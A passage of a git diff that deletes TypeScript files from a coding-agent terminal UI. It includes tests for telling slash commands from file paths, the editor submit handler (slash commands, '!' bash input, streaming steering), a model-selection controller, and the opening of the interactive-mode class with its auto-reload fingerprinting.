prompted, errors } = createHost(); - - await host.defaultEditor.onSubmit("/Users/name/Desktop/screenshot.png"); - - assert.deepEqual( - errors, - [], - "file paths should not trigger unknown command error", - ); - assert.deepEqual( - prompted, - ["/Users/name/Desktop/screenshot.png"], - "file paths should be sent as plain input", - ); -}); - -test("input-controller: Linux absolute paths are not treated as slash commands (#3478)", async () => { - const { host, prompted, errors } = createHost(); - - await host.defaultEditor.onSubmit("/home/user/documents/file.txt"); - - assert.deepEqual( - errors, - [], - "Linux paths should not trigger unknown command error", - ); - assert.deepEqual( - prompted, - ["/home/user/documents/file.txt"], - "Linux paths should be sent as plain input", - ); -}); - -test("input-controller: /tmp paths are not treated as slash commands (#3478)", async () => { - const { host, prompted, errors } = createHost(); - - await host.defaultEditor.onSubmit("/tmp/some-file.log"); - - assert.deepEqual(errors, []); - assert.deepEqual(prompted, ["/tmp/some-file.log"]); -}); - -test("input-controller: dot aborts streaming instead of steering", async () => { - const { - host, - prompted, - history, - getAborts, - getEditorText, - getPendingDisplayUpdates, - getRenderRequests, - } = createHost(); - host.session.isStreaming = true; - - await host.defaultEditor.onSubmit("."); - - assert.equal(getAborts(), 1, "dot should abort the active stream"); - assert.deepEqual(prompted, [], "dot should not be sent as a steering prompt"); - assert.deepEqual(history, ["."], "dot abort should remain in input history"); - assert.equal(getEditorText(), "", "dot abort should clear the editor"); - assert.equal(getPendingDisplayUpdates(), 1); - assert.equal(getRenderRequests(), 1); -}); - -test("input-controller: normal input while streaming is buffered as steering", async () => { - const { - host, - prompted, - promptOptions, - history, - getAborts, - getEditorText, - getPendingDisplayUpdates, - getRenderRequests, - } = createHost(); - host.session.isStreaming = true; - - await host.defaultEditor.onSubmit("use the simpler parser"); - - assert.equal(getAborts(), 0, "normal streaming input must not abort"); - assert.deepEqual(prompted, ["use the simpler parser"]); - assert.deepEqual(promptOptions, [{ streamingBehavior: "steer" }]); - assert.deepEqual(history, ["use the simpler parser"]); - assert.equal( - getEditorText(), - "", - "streaming steering should clear the editor", - ); - assert.equal(getPendingDisplayUpdates(), 1); - assert.equal(getRenderRequests(), 1); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.ts deleted file mode 100644 index 1b9263eb0..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.ts +++ /dev/null @@ -1,160 +0,0 @@ -import type { ContextualTips } from "../../../core/contextual-tips.js"; -import type { InteractiveModeStateHost } from "../interactive-mode-state.js"; -import { dispatchSlashCommand } from "../slash-command-handlers.js"; - -export function setupEditorSubmitHandler( - host: InteractiveModeStateHost & { - getSlashCommandContext?: () => any; - handleBashCommand: ( - command: string, - excludeFromContext?: boolean, - ) => Promise; - showWarning: (message: string) => void; - showError: (message: string) => void; - showTip: (message: string) => void; - updateEditorBorderColor: () => void; - isExtensionCommand: (text: string) => boolean; - isKnownSlashCommand: (text: string) => boolean; - queueCompactionMessage: (text: string, mode: "steer" | "followUp") => void; - updatePendingMessagesDisplay: () => void; - contextualTips: ContextualTips; - getContextPercent: () => number | undefined; - options?: { submitPromptsDirectly?: boolean }; - }, -): void { - host.defaultEditor.onSubmit = async (text: string) => { - text = text.trim(); - if (!text) return; - - if (text.startsWith("/") && !looksLikeFilePath(text)) { - const slashContext = host.getSlashCommandContext?.(); - const handled = slashContext - ? await dispatchSlashCommand(text, slashContext) - : false; - if (handled) { - host.editor.setText(""); - return; - } - if (!host.isKnownSlashCommand(text)) { - const command = text.split(/\s/)[0]; - host.showError( - `Unknown command: ${command}. Use slash autocomplete to see available commands.`, - ); - host.editor.setText(""); - return; - } - } - - if (text.startsWith("!")) { - const isExcluded = text.startsWith("!!"); - const command = isExcluded ? text.slice(2).trim() : text.slice(1).trim(); - if (command) { - if (host.session.isBashRunning) { - host.showWarning( - "A bash command is already running. Press Esc to cancel it first.", - ); - host.editor.setText(text); - return; - } - // Track included bash commands for double-bang tip - if (!isExcluded) { - host.contextualTips.recordBashIncluded(); - } - host.editor.addToHistory?.(text); - await host.handleBashCommand(command, isExcluded); - host.isBashMode = false; - host.updateEditorBorderColor(); - return; - } - } - - // Evaluate contextual tips before sending to agent - const tip = host.contextualTips.evaluate({ - input: text, - isStreaming: host.session.isStreaming, - thinkingLevel: host.session.thinkingLevel, - contextPercent: host.getContextPercent(), - }); - if (tip) { - host.showTip(tip); - } - - if (host.session.isCompacting) { - if (host.isExtensionCommand(text)) { - host.editor.addToHistory?.(text); - host.editor.setText(""); - try { - await host.session.prompt(text); - } catch (error: unknown) { - const errorMessage = - error instanceof Error ? error.message : "Unknown error occurred"; - host.showError(errorMessage); - } - } else { - host.queueCompactionMessage(text, "steer"); - } - return; - } - - if (host.session.isStreaming) { - if (text === ".") { - host.editor.addToHistory?.(text); - host.editor.setText(""); - await host.session.abort(); - host.updatePendingMessagesDisplay(); - host.ui.requestRender(); - return; - } - host.editor.addToHistory?.(text); - host.editor.setText(""); - await host.session.prompt(text, { streamingBehavior: "steer" }); - host.updatePendingMessagesDisplay(); - host.ui.requestRender(); - return; - } - - if (host.onInputCallback) { - host.onInputCallback(text); - host.editor.addToHistory?.(text); - return; - } - - if (host.options?.submitPromptsDirectly) { - host.editor.addToHistory?.(text); - try { - await host.session.prompt(text); - } catch (error: unknown) { - const errorMessage = - error instanceof Error ? error.message : "Unknown error occurred"; - host.showError(errorMessage); - } - return; - } - - host.editor.addToHistory?.(text); - // submitPromptsDirectly is false — still dispatch via session.prompt so user input - // is not silently discarded. - try { - await host.session.prompt(text); - } catch (error: unknown) { - const errorMessage = - error instanceof Error ? error.message : "Unknown error occurred"; - host.showError(errorMessage); - } - }; -} - -/** - * Distinguish absolute file paths from slash commands (#3478). - * Drag-and-drop inserts paths like "/Users/name/Desktop/file.png" which - * should be treated as plain text input, not a /Users command. - * - * Heuristic: a slash command is a single token like "/help" or "/sf autonomous". - * File paths have a second "/" within the first token (e.g., "/Users/..."). - */ -function looksLikeFilePath(text: string): boolean { - const firstToken = text.split(/\s/)[0]; - // Slash commands: /help, /sf, /commit — single "/" at start only. - // File paths: /Users/name/file, /home/user/file, /tmp/x — contain "/" after position 0. - return firstToken.indexOf("/", 1) !== -1; -} diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/model-controller.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/model-controller.ts deleted file mode 100644 index 9cb9ea177..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/model-controller.ts +++ /dev/null @@ -1,84 +0,0 @@ -import type { Model } from "@singularity-forge/pi-ai"; - -export async function handleModelCommand( - host: any, - searchTerm?: string, -): Promise { - if (!searchTerm) { - host.showModelSelector(); - return; - } - - const model = await findExactModelMatch(host, searchTerm); - if (model) { - try { - await host.session.setModel(model); - host.footer.invalidate(); - host.updateEditorBorderColor(); - host.showStatus(`Model: ${model.id}`); - host.checkDaxnutsEasterEgg(model); - } catch (error) { - host.showError(error instanceof Error ? error.message : String(error)); - } - return; - } - - host.showModelSelector(searchTerm); -} - -export async function findExactModelMatch( - host: any, - searchTerm: string, -): Promise | undefined> { - const term = searchTerm.trim(); - if (!term) return undefined; - - let targetProvider: string | undefined; - let targetModelId = ""; - - if (term.includes("/")) { - const parts = term.split("/", 2); - targetProvider = parts[0]?.trim().toLowerCase(); - targetModelId = parts[1]?.trim().toLowerCase() ?? ""; - } else { - targetModelId = term.toLowerCase(); - } - - if (!targetModelId) return undefined; - - const models = await getModelCandidates(host); - const exactMatches = models.filter((item) => { - const idMatch = item.id.toLowerCase() === targetModelId; - const providerMatch = - !targetProvider || item.provider.toLowerCase() === targetProvider; - return idMatch && providerMatch; - }); - - return exactMatches.length === 1 ? exactMatches[0] : undefined; -} - -export async function getModelCandidates(host: any): Promise[]> { - if (host.session.scopedModels.length > 0) { - // Filter scoped models by provider auth readiness so callers like - // findExactModelMatch can't resolve a scoped-but-unconfigured model. - const registry = host.session.modelRegistry; - return host.session.scopedModels - .filter((scoped: any) => - registry.isProviderRequestReady(scoped.model.provider), - ) - .map((scoped: any) => scoped.model); - } - - host.session.modelRegistry.refresh(); - try { - return await host.session.modelRegistry.getAvailable(); - } catch { - return []; - } -} - -export async function updateAvailableProviderCount(host: any): Promise { - const models = await getModelCandidates(host); - const uniqueProviders = new Set(models.map((m) => m.provider)); - host.footerDataProvider.setAvailableProviderCount(uniqueProviders.size); -} diff --git a/packages/pi-coding-agent/src/modes/interactive/interactive-mode-state.ts b/packages/pi-coding-agent/src/modes/interactive/interactive-mode-state.ts deleted file mode 100644 index 0abaaa220..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/interactive-mode-state.ts +++ /dev/null @@ -1,37 +0,0 @@ -import type { AgentSessionEvent } from "../../core/agent-session.js"; - -export interface InteractiveModeStateHost { - defaultEditor: any; - editor: any; - session: any; - ui: any; - footer: any; - keybindings: any; - statusContainer: any; - chatContainer: any; - pinnedMessageContainer: any; - settingsManager: any; - pendingTools: Map; - toolOutputExpanded: boolean; - hideThinkingBlock: boolean; - isBashMode: boolean; - onInputCallback?: (text: string) => void; - isInitialized: boolean; - loadingAnimation?: any; - pendingWorkingMessage?: string; - defaultWorkingMessage: string; - streamingComponent?: any; - streamingMessage?: any; - retryEscapeHandler?: () => void; - retryLoader?: any; - autoCompactionLoader?: any; - autoCompactionEscapeHandler?: () => void; - compactionQueuedMessages: Array<{ text: string; mode: "steer" | "followUp" }>; - extensionSelector?: any; - extensionInput?: any; - extensionEditor?: any; - editorContainer: any; - keybindingsManager?: any; -} - -export type InteractiveModeEvent = AgentSessionEvent; diff --git a/packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts b/packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts deleted file mode 100644 index 56bbe6cdd..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts +++ /dev/null @@ -1,4348 +0,0 @@ -/** - * Interactive mode for the coding agent. - * Handles TUI rendering and user interaction, delegating business logic to AgentSession. - */ - -import { spawn, spawnSync } from "node:child_process"; -import * as crypto from "node:crypto"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { fileURLToPath } from "node:url"; -import { listDescendants } from "@singularity-forge/native"; -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { - AssistantMessage, - ImageContent, - Message, -} from "@singularity-forge/pi-ai"; -import type { - AutocompleteItem, - EditorComponent, - EditorTheme, - KeyId, - MarkdownTheme, - OverlayHandle, - OverlayOptions, - SlashCommand, -} from "@singularity-forge/pi-tui"; -import { - CombinedAutocompleteProvider, - type Component, - Container, - fuzzyFilter, - Loader, - Markdown, - matchesKey, - ProcessTerminal, - Spacer, - Text, - TruncatedText, - TUI, - type Terminal as TuiTerminal, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import { - APP_NAME, - getDebugLogPath, - getUpdateInstruction, - VERSION, -} from "../../config.js"; -import { - type AgentSession, - type AgentSessionEvent, - parseSkillBlock, -} from "../../core/agent-session.js"; -import type { CompactionResult } from "../../core/compaction/index.js"; -import { ContextualTips } from "../../core/contextual-tips.js"; -import type { - ExtensionContext, - ExtensionRunner, - ExtensionUIContext, - ExtensionUIDialogOptions, - ExtensionWidgetOptions, -} from "../../core/extensions/index.js"; -import { - FooterDataProvider, - type ReadonlyFooterDataProvider, -} from "../../core/footer-data-provider.js"; -import { type AppAction, KeybindingsManager } from "../../core/keybindings.js"; -import { createCompactionSummaryMessage } from "../../core/messages.js"; -import type { ResourceDiagnostic } from "../../core/resource-loader.js"; -import { - type SessionContext, - SessionManager, -} from "../../core/session-manager.js"; -import { BUILTIN_SLASH_COMMANDS } from "../../core/slash-commands.js"; -import type { TruncationResult } from "../../core/tools/truncate.js"; -import { - getChangelogPath, - getNewEntries, - parseChangelog, -} from "../../utils/changelog.js"; -import { - extensionForImageMimeType, - readClipboardImage, -} from "../../utils/clipboard-image.js"; -import { killTrackedDetachedChildren } from "../../utils/shell.js"; -import { ensureTool } from "../../utils/tools-manager.js"; -import { AssistantMessageComponent } from "./components/assistant-message.js"; -import { BashExecutionComponent } from "./components/bash-execution.js"; -import { BorderedLoader } from "./components/bordered-loader.js"; -import { BranchSummaryMessageComponent } from "./components/branch-summary-message.js"; -import { CompactionSummaryMessageComponent } from "./components/compaction-summary-message.js"; -import { CustomEditor } from "./components/custom-editor.js"; -import { CustomMessageComponent } from "./components/custom-message.js"; -import { DaxnutsComponent } from "./components/daxnuts.js"; -import { DynamicBorder } from "./components/dynamic-border.js"; -import { ExtensionEditorComponent } from "./components/extension-editor.js"; -import type { ExtensionInputComponent } from "./components/extension-input.js"; -import { ExtensionSelectorComponent } from "./components/extension-selector.js"; -import { FooterComponent } from "./components/footer.js"; -import { - appKey, - appKeyHint, - keyHint, - rawKeyHint, -} from "./components/keybinding-hints.js"; -import { - ModelSelectorComponent, - providerDisplayName, -} from "./components/model-selector.js"; -import { SessionSelectorComponent } from "./components/session-selector.js"; -import { SettingsSelectorComponent } from "./components/settings-selector.js"; -import { SkillInvocationMessageComponent } from "./components/skill-invocation-message.js"; -import { ToolExecutionComponent } from "./components/tool-execution.js"; -import { TreeSelectorComponent } from "./components/tree-selector.js"; -import { UserMessageComponent } from "./components/user-message.js"; -import { UserMessageSelectorComponent } from "./components/user-message-selector.js"; -import { handleAgentEvent } from "./controllers/chat-controller.js"; -import { createExtensionUIContext as buildExtensionUIContext } from "./controllers/extension-ui-controller.js"; -import { setupEditorSubmitHandler as setupEditorSubmitHandlerController } from "./controllers/input-controller.js"; -import { updateAvailableProviderCount as updateAvailableProviderCountController } from "./controllers/model-controller.js"; -import { - getAppKeyDisplay, - type SlashCommandContext, -} from "./slash-command-handlers.js"; -import { - getAvailableThemes, - getEditorTheme, - getMarkdownTheme, - initTheme, - onThemeChange, - setRegisteredThemes, - setTheme, - stopThemeWatcher, - type Theme, - type ThemeColor, - theme, -} from "./theme/theme.js"; - -/** Interface for components that can be expanded/collapsed */ -interface Expandable { - setExpanded(expanded: boolean): void; -} - -function isExpandable(obj: unknown): obj is Expandable { - return ( - typeof obj === "object" && - obj !== null && - "setExpanded" in obj && - typeof obj.setExpanded === "function" - ); -} - -type CompactionQueuedMessage = { - text: string; - mode: "steer" | "followUp"; -}; - -const INTERACTIVE_RELOAD_EXIT_CODE = 12; - -function firstExistingRuntimeFile(candidates: string[]): string | undefined { - return candidates.find((candidate) => fs.existsSync(candidate)); -} - -/** - * Hash runtime modules that cannot be hot-swapped safely inside an active TUI. - * - * Purpose: distinguish plain resource reloads from package/runtime updates that - * need a process restart so the next session uses fresh already-imported code. - * - * Consumer: handleReloadCommand() before it attempts an in-process reload. - */ -function computeInteractiveRuntimeFingerprint(): string { - const here = path.dirname(fileURLToPath(import.meta.url)); - const files = [ - firstExistingRuntimeFile([ - path.join(here, "interactive-mode.js"), - path.join(here, "interactive-mode.ts"), - ]), - firstExistingRuntimeFile([ - path.resolve(here, "../../core/extensions/runner.js"), - path.resolve(here, "../../core/extensions/runner.ts"), - ]), - firstExistingRuntimeFile([ - path.resolve(here, "slash-command-handlers.js"), - path.resolve(here, "slash-command-handlers.ts"), - ]), - ].filter((file): file is string => Boolean(file)); - - const hash = crypto.createHash("sha256"); - for (const file of files.sort()) { - hash.update(path.relative(here, file)); - hash.update("\0"); - hash.update(fs.readFileSync(file)); - hash.update("\0"); - } - return hash.digest("hex").slice(0, 16); -} - -const AUTO_RELOAD_INTERVAL_MS = 2_500; -const AUTO_RELOAD_RESOURCE_EXTENSIONS = new Set([ - ".cjs", - ".js", - ".json", - ".md", - ".mjs", - ".ts", - ".tsx", - ".yaml", - ".yml", -]); -const AUTO_RELOAD_IGNORED_DIRS = new Set([ - ".git", - "node_modules", - "dist", - "target", -]); - -/** - * Collect reload-relevant files under a runtime resource path. - * - * Purpose: let the TUI notice self-improvement edits to loaded extensions, - * skills, prompts, and themes without asking the user to run `/reload`. - * - * Consumer: computeInteractiveResourceFingerprint() during the TUI autoreload - * polling loop. - */ -function collectInteractiveResourceFiles(resourcePath: string): string[] { - let stat: fs.Stats; - try { - stat = fs.statSync(resourcePath); - } catch { - return []; - } - - if (stat.isFile()) { - return AUTO_RELOAD_RESOURCE_EXTENSIONS.has(path.extname(resourcePath)) - ? [resourcePath] - : []; - } - if (!stat.isDirectory()) return []; - - const files: string[] = []; - const stack = [resourcePath]; - while (stack.length > 0) { - const current = stack.pop(); - if (!current) continue; - - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(current, { withFileTypes: true }); - } catch { - continue; - } - - for (const entry of entries) { - const fullPath = path.join(current, entry.name); - if (entry.isDirectory()) { - if (!AUTO_RELOAD_IGNORED_DIRS.has(entry.name)) stack.push(fullPath); - continue; - } - if ( - entry.isFile() && - AUTO_RELOAD_RESOURCE_EXTENSIONS.has(path.extname(entry.name)) - ) { - files.push(fullPath); - } - } - } - return files; -} - -/** - * Hash the loaded resource file set using paths, mtimes, and sizes. - * - * Purpose: detect changed extension/skill/prompt/theme resources cheaply enough - * to poll in an interactive TUI, while avoiding expensive full-content hashing. - * - * Consumer: InteractiveMode.startAutoReloadWatcher(). - */ -function computeInteractiveResourceFingerprint( - resourcePaths: Iterable, -): string { - const files = [ - ...new Set([...resourcePaths].flatMap(collectInteractiveResourceFiles)), - ].sort(); - const hash = crypto.createHash("sha256"); - for (const file of files) { - try { - const stat = fs.statSync(file); - hash.update(file); - hash.update("\0"); - hash.update(String(stat.mtimeMs)); - hash.update("\0"); - hash.update(String(stat.size)); - hash.update("\0"); - } catch { - hash.update(file); - hash.update("\0missing\0"); - } - } - return hash.digest("hex").slice(0, 16); -} - -/** - * Options for InteractiveMode initialization. - */ -export interface InteractiveModeOptions { - /** Providers that were migrated to auth.json (shows warning) */ - migratedProviders?: string[]; - /** Warning message if session model couldn't be restored */ - modelFallbackMessage?: string; - /** Initial message to send on startup (can include @file content) */ - initialMessage?: string; - /** Images to attach to the initial message */ - initialImages?: ImageContent[]; - /** Additional messages to send after the initial message */ - initialMessages?: string[]; - /** Force verbose startup (overrides quietStartup setting) */ - verbose?: boolean; - /** Override the terminal implementation used by the TUI. */ - terminal?: TuiTerminal; - /** When false, reuse the session's existing extension bindings instead of rebinding them for TUI mode. */ - bindExtensions?: boolean; - /** Submit editor prompts directly to AgentSession instead of using the interactive prompt loop. */ - submitPromptsDirectly?: boolean; - /** Control what happens when the user requests shutdown from the TUI. */ - shutdownBehavior?: "exit_process" | "stop_ui" | "ignore"; -} - -export class InteractiveMode { - // Cap rendered chat components to prevent unbounded memory/CPU growth. - // Only render-components are removed — session transcript stays on disk. - private static readonly MAX_CHAT_COMPONENTS = 100; - - private session: AgentSession; - private ui: TUI; - private chatContainer: Container; - private pendingMessagesContainer: Container; - private statusContainer: Container; - private pinnedMessageContainer: Container; - private defaultEditor: CustomEditor; - private editor: EditorComponent; - private autocompleteProvider: CombinedAutocompleteProvider | undefined; - private editorContainer: Container; - private footer: FooterComponent; - private footerDataProvider: FooterDataProvider; - private keybindings: KeybindingsManager; - private version: string; - private isInitialized = false; - private readonly processRestartFingerprint = - computeInteractiveRuntimeFingerprint(); - private resourceReloadFingerprint: string | undefined; - private autoReloadTimer: NodeJS.Timeout | undefined; - private autoReloadInProgress = false; - private autoReloadPendingReason: string | undefined; - private onInputCallback?: (text: string) => void; - private loadingAnimation: Loader | undefined = undefined; - private readonly defaultWorkingMessage = "Working..."; - - private lastSigintTime = 0; - private lastEscapeTime = 0; - private changelogMarkdown: string | undefined = undefined; - - // Status line tracking (for mutating immediately-sequential status updates) - private lastStatusSpacer: Spacer | undefined = undefined; - private lastStatusText: Text | undefined = undefined; - - // Streaming message tracking - private streamingComponent: AssistantMessageComponent | undefined = undefined; - private streamingMessage: AssistantMessage | undefined = undefined; - - // Tool execution tracking: toolCallId -> component - private pendingTools = new Map(); - - // Tool output expansion state - private toolOutputExpanded = false; - - // Thinking block visibility state - private hideThinkingBlock = false; - - // Skill commands: command name -> skill file path - private skillCommands = new Map(); - - // Agent subscription unsubscribe function - private unsubscribe?: () => void; - - private signalCleanupHandlers: Array<() => void> = []; - - // Branch change listener unsubscribe function - private _branchChangeUnsub?: () => void; - - // Track if editor is in bash mode (text starts with !) - private isBashMode = false; - private bashComponent: BashExecutionComponent | undefined = undefined; - private pendingBashComponents: BashExecutionComponent[] = []; - - // Contextual tips — session-scoped, non-intrusive hints - private contextualTips = new ContextualTips(); - - // Messages queued while compaction is running - private compactionQueuedMessages: CompactionQueuedMessage[] = []; - - // Extension UI state - private extensionSelector: ExtensionSelectorComponent | undefined = undefined; - private extensionInput: ExtensionInputComponent | undefined = undefined; - private extensionEditor: ExtensionEditorComponent | undefined = undefined; - private extensionTerminalInputUnsubscribers = new Set<() => void>(); - - // Extension widgets (components rendered above/below the editor) - private extensionWidgetsAbove = new Map< - string, - Component & { dispose?(): void } - >(); - private extensionWidgetsBelow = new Map< - string, - Component & { dispose?(): void } - >(); - private widgetContainerAbove!: Container; - private widgetContainerBelow!: Container; - - // Custom footer from extension (undefined = use built-in footer) - private customFooter: (Component & { dispose?(): void }) | undefined = - undefined; - - // Header container that holds the built-in or custom header - private headerContainer: Container; - - // Built-in header (logo + keybinding hints + changelog) - private builtInHeader: Component | undefined = undefined; - - // Custom header from extension (undefined = use built-in header) - private customHeader: (Component & { dispose?(): void }) | undefined = - undefined; - - // Convenience accessors - private get agent() { - return this.session.agent; - } - private get sessionManager() { - return this.session.sessionManager; - } - private get settingsManager() { - return this.session.settingsManager; - } - - constructor( - session: AgentSession, - private options: InteractiveModeOptions = {}, - ) { - this.session = session; - this.version = VERSION; - this.ui = new TUI( - options.terminal ?? new ProcessTerminal(), - this.settingsManager.getShowHardwareCursor(), - ); - this.ui.setClearOnShrink(this.settingsManager.getClearOnShrink()); - this.headerContainer = new Container(); - this.chatContainer = new Container(); - this.pendingMessagesContainer = new Container(); - this.statusContainer = new Container(); - this.pinnedMessageContainer = new Container(); - this.widgetContainerAbove = new Container(); - this.widgetContainerBelow = new Container(); - this.keybindings = KeybindingsManager.create(); - const editorPaddingX = this.settingsManager.getEditorPaddingX(); - const autocompleteMaxVisible = - this.settingsManager.getAutocompleteMaxVisible(); - this.defaultEditor = new CustomEditor( - this.ui, - getEditorTheme(), - this.keybindings, - { - paddingX: editorPaddingX, - autocompleteMaxVisible, - }, - ); - this.editor = this.defaultEditor; - this.editorContainer = new Container(); - this.editorContainer.addChild(this.editor as Component); - this.footerDataProvider = new FooterDataProvider(); - this.footer = new FooterComponent(session, this.footerDataProvider); - this.footer.setAutoCompactEnabled(session.autoCompactionEnabled); - - // Load hide thinking block setting - this.hideThinkingBlock = this.settingsManager.getHideThinkingBlock(); - - // Register themes from resource loader and initialize - setRegisteredThemes(this.session.resourceLoader.getThemes().themes); - initTheme(this.settingsManager.getTheme(), true); - } - - private setupAutocomplete(): void { - // Define commands for autocomplete - const slashCommands: SlashCommand[] = BUILTIN_SLASH_COMMANDS.map( - (command) => ({ - name: command.name, - description: command.description, - }), - ); - - const modelCommand = slashCommands.find( - (command) => command.name === "model", - ); - if (modelCommand) { - modelCommand.getArgumentCompletions = ( - prefix: string, - ): AutocompleteItem[] | null => { - // Get available models (scoped or from registry) - const models = - this.session.scopedModels.length > 0 - ? this.session.scopedModels.map((s) => s.model) - : this.session.modelRegistry.getAvailable(); - - if (models.length === 0) return null; - - // Create items with provider/id format - const items = models.map((m) => ({ - id: m.id, - provider: m.provider, - label: `${m.provider}/${m.id}`, - })); - - // Fuzzy filter by model ID + provider (allows "opus anthropic" to match) - const filtered = fuzzyFilter( - items, - prefix, - (item) => `${item.id} ${item.provider}`, - ); - - if (filtered.length === 0) return null; - - return filtered.map((item) => ({ - value: item.label, - label: item.id, - description: providerDisplayName(item.provider), - })); - }; - } - - // Add argument completions for /thinking - const thinkingCommand = slashCommands.find( - (command) => command.name === "thinking", - ); - if (thinkingCommand) { - thinkingCommand.getArgumentCompletions = ( - prefix: string, - ): AutocompleteItem[] | null => { - const levels = [ - { - value: "off", - label: "off", - description: "Disable extended thinking", - }, - { - value: "minimal", - label: "minimal", - description: "Minimal thinking budget", - }, - { value: "low", label: "low", description: "Low thinking budget" }, - { - value: "medium", - label: "medium", - description: "Medium thinking budget", - }, - { value: "high", label: "high", description: "High thinking budget" }, - { - value: "xhigh", - label: "xhigh", - description: "Maximum thinking budget", - }, - ]; - const filtered = levels.filter((l) => - l.value.startsWith(prefix.trim().toLowerCase()), - ); - return filtered.length > 0 ? filtered : null; - }; - } - - // Convert prompt templates to SlashCommand format for autocomplete - const templateCommands: SlashCommand[] = this.session.promptTemplates.map( - (cmd) => ({ - name: cmd.name, - description: cmd.description, - }), - ); - - // Convert extension commands to SlashCommand format - const builtinCommandNames = new Set(slashCommands.map((c) => c.name)); - const extensionCommands: SlashCommand[] = ( - this.session.extensionRunner?.getRegisteredCommands( - builtinCommandNames, - new Set(["exit"]), - ) ?? [] - ).map((cmd) => ({ - name: cmd.name, - description: cmd.description ?? "(extension command)", - getArgumentCompletions: cmd.getArgumentCompletions, - })); - - // Build skill commands from session.skills (if enabled) - this.skillCommands.clear(); - const skillCommandList: SlashCommand[] = []; - if (this.settingsManager.getEnableSkillCommands()) { - for (const skill of this.session.resourceLoader.getSkills().skills) { - const commandName = `skill:${skill.name}`; - this.skillCommands.set(commandName, skill.filePath); - skillCommandList.push({ - name: commandName, - description: skill.description, - }); - } - } - - // Setup autocomplete - this.autocompleteProvider = new CombinedAutocompleteProvider( - [ - ...slashCommands, - ...templateCommands, - ...extensionCommands, - ...skillCommandList, - ], - process.cwd(), - { - respectGitignore: this.settingsManager.getRespectGitignoreInPicker(), - excludeDirs: this.settingsManager.getSearchExcludeDirs(), - }, - ); - this.defaultEditor.setAutocompleteProvider(this.autocompleteProvider); - if (this.editor !== this.defaultEditor) { - this.editor.setAutocompleteProvider?.(this.autocompleteProvider); - } - } - - async init(): Promise { - if (this.isInitialized) return; - - this.registerSignalHandlers(); - - // Load changelog (only show new entries, skip for resumed sessions) - this.changelogMarkdown = this.getChangelogForDisplay(); - - // Ensure rg is available (downloads if missing, adds to PATH via getBinDir) - // rg is needed for grep tool and bash commands - await ensureTool("rg"); - - // Add header container as first child - this.ui.addChild(this.headerContainer); - - // Add header with keybindings from config (unless silenced) - if (this.options.verbose || !this.settingsManager.getQuietStartup()) { - const logo = - theme.bold(theme.fg("accent", APP_NAME)) + - theme.fg("dim", ` v${this.version}`); - - // Build startup instructions using keybinding hint helpers - const kb = this.keybindings; - const hint = (action: AppAction, desc: string) => - appKeyHint(kb, action, desc); - - const instructions = [ - hint("interrupt", "to interrupt"), - hint("clear", "to clear"), - rawKeyHint(`${appKey(kb, "clear")} twice`, "to exit"), - hint("exit", "to exit (empty)"), - hint("suspend", "to suspend"), - keyHint("deleteToLineEnd", "to delete to end"), - hint("cycleThinkingLevel", "to cycle thinking level"), - rawKeyHint( - `${appKey(kb, "cycleModelForward")}/${appKey(kb, "cycleModelBackward")}`, - "to cycle models", - ), - hint("selectModel", "to select model"), - hint("expandTools", "to expand tools"), - hint("externalEditor", "for external editor"), - rawKeyHint("/", "for commands"), - rawKeyHint("!", "to run bash"), - rawKeyHint("!!", "to run bash (no context)"), - hint("followUp", "to queue follow-up"), - hint("dequeue", "to edit all queued messages"), - hint("pasteImage", "to paste image"), - rawKeyHint("drop files", "to attach"), - ].join("\n"); - this.builtInHeader = new Text(`${logo}\n${instructions}`, 1, 0); - - // Setup UI layout - this.headerContainer.addChild(new Spacer(1)); - this.headerContainer.addChild(this.builtInHeader); - this.headerContainer.addChild(new Spacer(1)); - - // Add changelog if provided - if (this.changelogMarkdown) { - this.headerContainer.addChild(new DynamicBorder()); - if (this.settingsManager.getCollapseChangelog()) { - const versionMatch = this.changelogMarkdown.match( - /##\s+\[?(\d+\.\d+\.\d+)\]?/, - ); - const latestVersion = versionMatch ? versionMatch[1] : this.version; - const condensedText = `Updated to v${latestVersion}. Use ${theme.bold("/changelog")} to view full changelog.`; - this.headerContainer.addChild(new Text(condensedText, 1, 0)); - } else { - this.headerContainer.addChild( - new Text(theme.bold(theme.fg("accent", "What's New")), 1, 0), - ); - this.headerContainer.addChild(new Spacer(1)); - this.headerContainer.addChild( - new Markdown( - this.changelogMarkdown.trim(), - 1, - 0, - this.getMarkdownThemeWithSettings(), - ), - ); - this.headerContainer.addChild(new Spacer(1)); - } - this.headerContainer.addChild(new DynamicBorder()); - } - } else { - // Minimal header when silenced - this.builtInHeader = new Text("", 0, 0); - this.headerContainer.addChild(this.builtInHeader); - if (this.changelogMarkdown) { - // Still show changelog notification even in silent mode - this.headerContainer.addChild(new Spacer(1)); - const versionMatch = this.changelogMarkdown.match( - /##\s+\[?(\d+\.\d+\.\d+)\]?/, - ); - const latestVersion = versionMatch ? versionMatch[1] : this.version; - const condensedText = `Updated to v${latestVersion}. Use ${theme.bold("/changelog")} to view full changelog.`; - this.headerContainer.addChild(new Text(condensedText, 1, 0)); - } - } - - this.ui.addChild(this.chatContainer); - this.ui.addChild(this.pendingMessagesContainer); - this.ui.addChild(this.statusContainer); - this.ui.addChild(this.pinnedMessageContainer); - this.renderWidgets(); // Initialize with default spacer - this.ui.addChild(this.widgetContainerAbove); - this.ui.addChild(this.editorContainer); - this.ui.addChild(this.widgetContainerBelow); - this.ui.addChild(this.footer); - this.ui.setFocus(this.editor); - - this.setupKeyHandlers(); - this.setupEditorSubmitHandler(); - - // Initialize extensions first so resources are shown before messages - await this.initExtensions(); - - // Render initial messages AFTER showing loaded resources - this.renderInitialMessages(); - - // Start the UI - this.ui.start(); - this.isInitialized = true; - - // Set terminal title - this.updateTerminalTitle(); - - // Subscribe to agent events - this.subscribeToAgent(); - - // Set up theme file watcher - onThemeChange(() => { - 